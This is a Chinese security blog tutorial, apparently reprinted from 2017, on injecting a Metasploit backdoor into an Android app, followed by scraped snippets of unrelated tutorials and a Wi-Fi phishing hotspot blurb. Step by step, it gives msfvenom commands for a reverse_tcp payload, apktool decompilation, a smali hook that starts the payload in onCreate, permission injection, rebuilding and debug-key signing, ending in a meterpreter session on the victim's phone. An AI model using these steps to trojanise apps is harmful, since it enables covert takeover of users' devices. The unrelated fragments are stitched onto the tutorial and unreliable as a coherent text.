实用教程:手动安卓应用中注入msf后门

本文讲的是实用教程:手动安卓应用中注入msf后门,在移动安全评估中,我们尝试将一些常用的应用程序加载上后门,并且加上后门之后应用程序毫无异常。这就可以用来证明如果使用的应用程序被种上后门,使用者会毫无知觉。

步骤一:生成攻击载荷

metasploit中的msfvenom可以生成多种类型的攻击载荷,当然我们也可以使用它来生成一个包含msf后门的apk。
使用如下命令:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.169
LPORT=4444 R > pentestlab.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8839 bytes

步骤二:逆向apk文件

首先,要对目标文件以及刚刚生成的apk文件进行反编译。使用的工具为众所周知的apktool。下面命令会将apk反编译,然后将反编译出来的代码保存到一个后缀名为smail的文件中:

java -jar apktool.jar d -f -o payload /root/Downloads/pentestlab.apk
I: Using Apktool 2.2.2 on pentestlab.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

步骤三:放置后门文件

将从产生的apk中后门文件放到目标文件中,具体内容以及方式如下:

/root/Downloads/payload/smali/com/metasploit/stage
/root/Downloads/original/smali/com/metasploit/stage

步骤四:注入hook

我们必须检测安卓应用程序清单文件,这样可以确定在打开安卓应用程序时进行了那些活动。进而确定我们的后门程序会不会执行:

将下图中的主函数中的代码内容用后门代码替换:

;->onCreate(Landroid/os/Bundle;)V

以下代码会在程序启动时,执行后门,以及启动应用程序:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

步骤五:给予应用程序权限

为了使我们的后门能够更有效的工作,需要给予安卓应用程序应有的权限。可以将这些额外的权限添加到安卓清单文件中,这样的话,如果用户同意,这个应用程序就会给予后门应有的权限。

步骤六:编译应用程序

现在我们已经将后门以及权限设置注入到目标应用程序当中,我们要对源代码进行编译,同样使用apktool。

java -jar apktool.jar b /root/Downloads/original/

步骤七:对apk进行签名

如果apk为签名,那么apk将不能在手机中安装。默认的安装的调试签名可以在这使用:

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA /root/Downloads/original/dist/target.apk androiddebugkey

当用户安装并且打开存在后门的应用程序时,我们就会得到meterpreter返回的会话:

原文发布时间为:2017年6月30日

本文作者:xnianq

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-12-25 10:10:17

实用教程:手动安卓应用中注入msf后门的相关文章

WPS2012实用教程 如何保存Word中的图片?

如何保存Word中的图片,方法有不少,但怎样才能以最快速度批量将Word中数量庞大的图片提取出来,这里就有学问了.笔者推荐一个WPS Office 2012 的Word教程,可以帮助你轻轻松松就把Word中所有的图片都保存下来. 有了这个教程不管Word文档里有10张图片,还是有100张图片,都可以让你在几秒钟之内就把所有的照片保存下来!接下来,我们就来看看是怎么用WPS Office 2012 把Word中的图片全部一张不漏按照Word原文的排序保存下来的吧. 注:Word在WPS Offic

玩转SSM:俄罗斯系统监视器实用教程

不少读者对System Safety Monitor(以下简称为SSM)很感兴趣.它是 一款俄罗斯出品的系统监控软件,通过监视系统特定的文件(如注册表等)及应用程序,达到保护系统安全的目的.在某些功能上比Winpatrol更强大.[进入下载页面] 安装并启动(可能需手动到安装目录中运行SysSafe.exe)SSM后,点击弹出的LOGO窗口中的Close this windows(关闭窗口)项,关闭该窗口.这时SSM已经启动,并开始进行监视,我们可以在系统托盘内看到软件图标.SSM贴身保护你的W

《嵌入式Linux开发实用教程》——1.1 Linux基本命令

1.1 Linux基本命令 嵌入式Linux开发实用教程 在学习嵌入式Linux开发的过程中,将经常使用到Linux的操作命令.实际上,Linux系统中的命令也是为实现特定的功能而编写的,而且绝大数的命令是用C语言编写的.有些实用性强的程序被广泛使用和传播,逐渐地演变成Linux的标准命令.但是Linux的操作命令繁多,本节将在U-Boot.Linux移植过程中常用到的Linux操作命令罗列出来进行讲解,为后续的学习做良好的铺垫.读者不要认为这是Linux简单命令则不屑一顾,嵌入式Linux学习

《AutoCAD 2014中文版实用教程》一一2.2 圆类命令

2.2 圆类命令 AutoCAD 2014中文版实用教程 圆类命令主要包括"圆"."圆弧"."圆环"."椭圆"和"椭圆弧"命令,这几个命令是AutoCAD中最简单的曲线命令. 2.2.1 圆 1.执行方式 命令行:CIRCLE 菜单:绘图→圆 工具栏:绘图→圆 2.操作格式 命令:CIRCLE 指定圆的圆心或[三点(3P)/两点(2P)/切点.切点.半径(T)]:(指定圆心) 指定圆的半径或[直径(D)]:

实用教程:快速搭建Wi-Fi钓鱼热点

本文讲的是实用教程:快速搭建Wi-Fi钓鱼热点,在本教程中,我们将创建一个由恶意Wi-Fi接入点提供的网络钓鱼页面.如果受害者在此页面中输入其详细信息,则将直接发送给您. 我们要使用WiFi-Pumpkin和Kali(你也可以使用ParrotSec甚至Ubuntu).还需要一个外部Wi-Fi适配器.比如您尝试在麦当劳或星巴克设立此网络钓鱼页面.您的笔记本电脑的内部网络控制器将连接到麦当劳的Wi-Fi,您的外部Wi-Fi适配器将变成流氓接入点. 外部适配器将建立流氓AP.为受害者提提供钓鱼页面并记

《AutoCAD 2014中文版实用教程》一一1.3 绘图区

1.3 绘图区 AutoCAD 2014中文版实用教程 绘图区是指标题栏下方的大片空白区域,绘图区域是用户使用AutoCAD绘制图形的区域,用户完成一幅设计图形的主要工作都是在绘图区域中完成的. 绘图区域中的十字线交点反映了鼠标在当前坐标系中的位置,十字线的方向与当前用户标系的x轴.y轴方向平行. 1.3.1 修改图形窗口中十字光标的大小 光标的长度默认为屏幕大小的5%,用户可以根据绘图的实际需要更改其大小.改变光标大小的方法如下. 在绘图窗口中选择工具菜单中的选项命令,屏幕上将弹出系统配置对话

《嵌入式Linux开发实用教程》——4.3 块设备驱动

4.3 块设备驱动 嵌入式Linux开发实用教程 块设备和字符设备从字面上理解最主要的区别在于读写的基本单元不同,块设备的读写基本单元为数据块,数据的输入输出都是通过一个缓冲区来完成的.而字符设备不带有缓冲,直接与实际的设备相连而进行操作,读写的基本单元为字符.从实现的角度来看,块设备和字符设备是两种不同的机制,字符设备的read.write的API直接到字符设备层,但是块设备相对复杂,是先到文件系统层,然后再由文件系统层发起读写请求. 数据块指的是固定大小的数据,这个值的大小由内核来决定.一般

《初级会计电算化实用教程(金蝶ERP—K/3版)》一2.2 会计电算化的岗位分工

2.2 会计电算化的岗位分工 初级会计电算化实用教程(金蝶ERP-K/3版) 2.2.1 岗位设置 企业根据会计电算化的特点和要求,按照"责.权.利相结合"的原则,对会计信息系统使用人员和维护人员的职责和权限作出明确规定.按照会计电算化工作的特点,会计电算化的工作岗位可分为基本会计岗位和电算化会计岗位. 基本会计岗位可分为会计主管.出纳.会计核算各岗.稽核.会计档案管理等工作岗位.电算化会计岗位是指直接管理.操作.维护计算机及会计核算软件的工作岗位.电算化会计岗位可分为软件操作.审核记

《AutoCAD 2014中文版实用教程》一一1.5 文件管理

1.5 文件管理 AutoCAD 2014中文版实用教程 本节将介绍有关文件管理的一些基本操作方法,包括新建文件.打开文件.保存文件.删除文件.密码与数字签名等,这些都是AutoCAD 2014最基础的知识. 1.5.1 新建文件 1.执行方式 命令行:NEW或QNEW 菜单:文件→新建 工具栏:标准→新建 2.操作格式 执行上述命令后,系统将打开如图1-29所示的"选择样板"对话框,在文件类型下拉列表框中有后缀,分别是dwt.dwg.dws的3种图形样板.一般情况,dwt文件是标准的